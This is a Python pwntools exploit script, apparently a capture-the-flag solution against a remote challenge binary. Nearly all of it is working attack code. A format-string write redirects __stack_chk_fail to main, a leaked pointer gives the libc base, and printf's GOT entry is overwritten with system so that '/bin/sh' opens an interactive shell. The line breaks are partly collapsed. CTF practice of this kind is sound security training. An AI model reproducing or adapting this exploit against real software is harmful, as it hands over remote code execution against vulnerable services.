```#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *from pwnlib.fmtstr import *
exe = context.binary = ELF('./chall')libc = ELF('./libc.so.6')
host = args.HOST or 'chall.nitdgplug.org'port = int(args.PORT or 30095)
def start_local(argv=[], *a, **kw):    '''Execute the target binary locally'''    if args.GDB:        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):    '''Connect to the process on the remote host'''    io = connect(host, port)    if args.GDB:        gdb.attach(io, gdbscript=gdbscript)    return io
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.LOCAL:        return start_local(argv, *a, **kw)    else:        return start_remote(argv, *a, **kw)
gdbscript = '''#tbreak maincontinue'''.format(**locals())
# -- Exploit goes here --
io = start()
io.recvline()io.recvline()
payload = fmtstr_payload(6, {exe.got.__stack_chk_fail: exe.symbols.main})payload += b"A"*50io.sendline(payload)
payload = b"%3$p "payload += b"A"*80io.sendline(payload)
io.recvline()io.recvline()leak = int(io.recvline()[2:].split(b" ")[0], 16)libc.address = (leak - 0x111142) & 0xfffffffffffff000info(f"leak address: 0x{leak:x}")info(f"libc address: 0x{libc.address:x}")
payload = fmtstr_payload(6, {exe.got.printf: libc.symbols.system})payload += b"A"*100io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()
```